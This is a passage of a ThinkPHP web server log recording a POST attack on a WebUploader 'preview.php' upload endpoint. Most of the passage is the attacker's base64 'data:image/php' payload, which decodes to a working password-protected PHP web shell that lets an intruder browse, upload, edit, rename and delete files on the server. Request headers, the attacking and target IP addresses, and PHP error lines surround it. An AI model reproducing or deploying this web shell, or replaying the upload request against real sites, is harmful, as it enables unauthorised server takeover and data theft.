gICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:26+08:00 ] 119.42.146.234 POST 59.110.137.245/jquery/UI/H-ui.admin/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002670s] [吞吐率:374.52req/s] [内存消耗:196.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'jquery', 2 => 'UI', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogIC